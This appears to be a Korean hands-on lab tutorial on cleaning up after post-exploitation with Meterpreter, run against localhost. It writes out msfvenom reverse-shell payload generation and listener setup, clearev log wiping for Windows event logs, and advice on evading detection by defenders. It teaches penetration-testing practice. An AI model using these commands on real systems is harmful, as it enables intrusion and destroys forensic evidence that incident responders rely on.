Meterpreter 를 이용한 점검 후 시스템 정리

Kali LinuxBeginner
지금 연습하기

소개

침투 테스팅 및 레드팀 운영 분야에서 대상 시스템에 대한 접근 권한을 획득하는 것은 임무의 일부일 뿐입니다. 접근 권한을 획득한 후, 그리고 연결을 끊기 전까지 수행하는 작업이 매우 중요합니다. 이 단계를 포스트 익스플로잇 (post-exploitation) 이라고 합니다. 포스트 익스플로잇의 중요한 구성 요소 중 하나는 클린업 (cleanup) 입니다. 이는 침해된 시스템에서 사용자의 모든 흔적을 제거하는 과정입니다.

도구, 로그 또는 시스템 변경 사항을 남겨두면 시스템 관리자 및 블루팀이 사용자의 활동을 감지하게 되어, 엔게이지먼트 (engagement) 실패 및 사용된 취약점의 패치로 이어질 수 있습니다. Metasploit Framework 내의 강력한 페이로드인 Meterpreter 는 이러한 클린업 프로세스를 지원하는 여러 도구를 제공합니다.

이 랩에서는 Meterpreter 를 사용하여 엔게이지먼트 후 시스템을 클린업하는 기본적인 단계를 배우게 됩니다. 세션 획득, 이벤트 로그 삭제, 파일 삭제를 연습하고 아무런 흔적도 남기지 않는 것의 중요성을 이해하게 될 것입니다.

대상 시스템에서 Meterpreter 세션 획득하기

이 단계에서는 시스템 클린업을 연습하기 전에 먼저 시스템에 접근해야 합니다. msfvenom으로 페이로드를 생성하고, Metasploit Framework 에서 리스너를 설정한 다음, 자체 머신에서 페이로드를 "실행"하여 localhost에서 Meterpreter 세션을 얻는 방식으로 이를 시뮬레이션할 것입니다.

먼저 터미널을 열고 msfvenom을 사용하여 Linux Meterpreter 페이로드를 생성합니다. 이 명령은 현재 디렉토리 (~/project) 에 payload.elf라는 실행 파일을 생성합니다.

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/payload.elf

페이로드가 성공적으로 생성되었음을 나타내는 출력이 표시되어야 합니다.

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, choosing x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 120 bytes
Final size of elf file: 240 bytes
Saved as: ~/project/payload.elf

다음으로 Metasploit Framework 콘솔을 시작합니다. -q 플래그는 배너를 표시하지 않고 조용하게 시작하도록 합니다.

msfconsole -q

msfconsole 프롬프트에 들어가면 페이로드로부터의 연결을 수신할 리스너를 구성해야 합니다. exploit/multi/handler 모듈을 사용할 것입니다.

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit -j

exploit -j 명령은 리스너를 백그라운드 작업으로 시작하므로 콘솔을 계속 사용할 수 있습니다. 핸들러가 시작되었다는 메시지가 표시됩니다.

이제 터미널 창의 + 아이콘을 클릭하여 새 터미널 탭을 엽니다. 이 새 탭에서 페이로드를 실행 가능하게 만들고 실행합니다.

chmod +x ~/project/payload.elf
~/project/payload.elf

msfconsole이 있는 첫 번째 터미널 탭으로 돌아갑니다. Meterpreter 세션이 열렸음을 나타내는 메시지가 표시되어야 합니다.

[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:36978) at 2023-10-27 10:30:00 -0400

이 새 세션과 상호 작용하려면 sessions 명령을 사용합니다.

sessions -i 1

프롬프트가 meterpreter >로 변경되어 세션을 제어하고 있음을 나타냅니다.

clearev 명령어를 사용하여 이벤트 로그 지우기

이 단계에서는 Meterpreter 의 가장 중요한 클린업 명령어 중 하나인 clearev에 대해 논의할 것입니다. 클린업의 주요 목표는 시스템 로그에서 활동의 증거를 제거하는 것입니다. Windows 시스템에서 이러한 로그 (Application, System, Security) 는 포렌식 조사관에게 중요한 정보 소스입니다.

clearev 명령어는 Windows 대상의 이 세 가지 주요 이벤트 로그를 지우기 위해 특별히 설계되었습니다.

중요 참고 사항: 현재 Meterpreter 세션은 Linux 시스템에 있습니다. clearev 명령어는 여기서 작동하지 않으며 오류를 발생시킵니다. 대상이 Windows 일 때 중요한 도구이므로 교육 목적으로 사용법을 시연하고 있습니다.

meterpreter > 프롬프트 안에서 Linux 세션에서 결과를 확인하기 위해 명령어를 입력합니다.

meterpreter > clearev

명령어가 Linux 시스템에 대해 구현되지 않았기 때문에 오류 메시지가 표시됩니다.

[-] core_channel_open: Operation failed: The "stdapi_sys_eventlog_open" command is not supported by this session.

하지만 Windows 머신에서 Meterpreter 세션을 사용 중이었다면, 성공을 나타내는 다음과 같은 출력이 표시될 것입니다.

[*] Wiping 3 records from Application...
[*] Wiping 3 records from System...
[*] Wiping 3 records from Security...

어떤 도구가 어떤 운영 체제에서 작동하는지 이해하는 것은 침투 테스터에게 핵심적인 기술입니다. 성공적으로 실행하지는 못했지만, 이제 Windows 대상에서 이벤트 로그를 지우는 주요 명령어를 알게 되었습니다.

업로드된 파일 또는 도구 수동 삭제

이 단계에서는 대상 시스템에 업로드하거나 생성한 파일을 수동으로 제거하는 방법을 배웁니다. 자동화된 스크립트도 유용하지만, 도구, 스크립트 또는 페이로드가 남겨지지 않았는지 확인하기 위해 항상 수동으로 확인해야 합니다.

현재 시나리오에서는 1 단계에서 생성한 payload.elf 파일이 "침해된" 시스템에 있습니다. 흔적을 지우기 위해 이를 삭제해야 합니다. Meterpreter 세션에서 직접 이 작업을 수행할 수 있습니다.

먼저 Meterpreter 내에서 ls 명령어를 사용하여 대상의 현재 디렉토리에 있는 파일을 나열합니다. 페이로드 파일이 보여야 합니다.

meterpreter > ls

출력에는 /home/labex/project의 파일 목록이 표시됩니다.

Listing: /home/labex/project
============================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
100755/rwxr-xr-x  240     fil   2023-10-27 10:28:00 -0400  payload.elf
...

이제 Meterpreter 에서 rm 명령어를 사용하여 파일을 삭제합니다.

meterpreter > rm payload.elf

확인 메시지가 표시되어야 합니다.

[*] rm: Removed /home/labex/project/payload.elf

파일이 삭제되었는지 확인하려면 ls 명령어를 다시 실행합니다. payload.elf 파일은 더 이상 목록에 표시되지 않아야 합니다. 이는 시스템을 발견했을 때와 동일한 상태로 남겨두는 중요한 단계입니다.

후반 작업 중 시스템 변경 사항 되돌리기

이 단계에서는 클린업의 또 다른 측면인 시스템 변경 사항 되돌리기에 대해 다룰 것입니다. 후반 작업 중에 사용자 계정을 추가하거나, 파일 권한을 변경하거나, 지속성을 위해 예약된 작업을 생성할 수 있습니다. 이러한 모든 변경 사항은 떠나기 전에 취소해야 합니다.

이를 시뮬레이션하기 위해 시스템 수정을 나타내는 임시 파일을 생성한 다음 제거할 것입니다.

meterpreter > 프롬프트에서 temp_change.txt라는 파일을 생성해 보겠습니다. Meterpreter 의 execute 명령어를 사용하여 대상 시스템에서 touch 명령어를 실행할 수 있습니다.

meterpreter > execute -f touch -a "/home/labex/project/temp_change.txt"

이 명령어는 /home/labex/project/temp_change.txt 인자와 함께 touch를 실행합니다. ls로 생성 여부를 확인할 수 있습니다.

meterpreter > ls

이제 클린업의 일부로 이 파일을 제거해야 합니다. 이전 단계에서와 같이 rm 명령어를 사용합니다.

meterpreter > rm temp_change.txt

이것은 매우 간단한 예시이지만, 원칙은 더 복잡한 변경 사항에도 적용됩니다. 사용자를 추가했다면 해당 사용자를 삭제해야 합니다. 구성 파일을 수정했다면 백업에서 복원하거나 수동으로 변경 사항을 되돌려야 합니다.

마지막으로 대상에 대한 클린업이 완료되었습니다. 이제 Meterpreter 세션을 종료한 다음 Metasploit 콘솔을 종료할 수 있습니다.

meterpreter > exit
[*] Shutting down Meterpreter...

msf6 exploit(multi/handler) > exit

이렇게 하면 일반 터미널 프롬프트로 돌아갑니다.

흔적을 남기지 않는 것의 중요성 논의

이 마지막 단계는 클린업이 전문적인 보안 점검의 가장 중요한 단계 중 하나인 이유에 대한 개념적 검토입니다. 여기서는 실행할 명령어가 없습니다. 목표는 방금 연습한 것의 전략적 중요성을 이해하는 것입니다.

철저한 클린업의 주요 이유:

  1. 운영 보안 (OPSEC): 주요 목표는 탐지되지 않는 것입니다. 뒤에 남겨진 파일, 로그 항목, 실행 중인 프로세스 등 모든 아티팩트는 블루 팀과 사고 대응 팀에게 단서가 됩니다. 탐지되면 사용한 도구와 인프라를 포함한 전체 작전이 무산될 수 있습니다.

  2. 전문성과 무결성: 전문적인 침투 테스트에서 귀하는 클라이언트 시스템을 손상시키는 것이 아니라 보안을 평가하기 위해 고용된 것입니다. 시스템을 수정된 상태로 두는 것은 비전문적입니다. 시스템을 원래 상태로 복원하는 것은 클라이언트 환경에 대한 주의와 존중을 보여줍니다.

  3. 의도하지 않은 손상 방지: 뒤에 남겨진 도구나 스크립트는 시스템 불안정을 유발할 수 있습니다. 더 나쁜 것은, 액세스를 위해 생성한 백도어가 악의적인 행위자에 의해 발견되어 사용될 수 있으며, 이는 시작했을 때보다 시스템을 안전하게 만들 수 있다는 것입니다. 귀하의 책임은 보안을 개선하는 것이지 새로운 취약점을 만드는 것이 아닙니다.

  4. 향후 액세스 유지: 몇 주 또는 몇 달에 걸쳐 진행될 수 있는 레드 팀 점검에서 각 작은 작업 후에 클린업을 수행하면 장기적인 액세스가 조기에 발견되지 않도록 보장합니다. 탐지되면 방어자는 취약점을 패치하고 귀하가 사용하던 액세스 지점을 차단할 것입니다.

요약하자면, 효과적인 클린업은 단순히 파일을 삭제하는 것이 아닙니다. 이는 은밀성, 전문성 및 점검의 핵심 임무를 우선시하는 사고방식입니다. 이는 아마추어 해커와 전문 보안 테스터를 구분합니다.

요약

이 실습에서는 Meterpreter 를 사용하여 침해된 시스템을 정리하는 필수 과정을 살펴보았습니다. 이는 모든 윤리적 해커 또는 침투 테스터에게 기본적인 기술입니다.

성공적으로 다음을 수행했습니다:

  • 페이로드 (payload) 를 생성하고 실행하여 Meterpreter 세션을 획득했습니다.
  • clearev 명령어와 Windows 시스템에서 이벤트 로그를 지우는 특정 사용 사례에 대해 배웠습니다.
  • Meterpreter rm 명령어를 사용하여 대상 시스템에서 파일을 수동으로 삭제하는 연습을 했습니다.
  • 임시 파일을 생성하고 제거하여 시스템 변경 사항을 되돌리는 것을 시뮬레이션했습니다.
  • 운영 보안 및 전문성을 유지하기 위한 클린업의 중요성에 대해 성찰했습니다.

이러한 기술을 숙달함으로써 보안 점검이 효과적일 뿐만 아니라 책임감 있게 수행되도록 보장하고, 대상 환경을 발견했을 때와 동일한 상태로 남겨두며 탐지 위험을 최소화할 수 있습니다.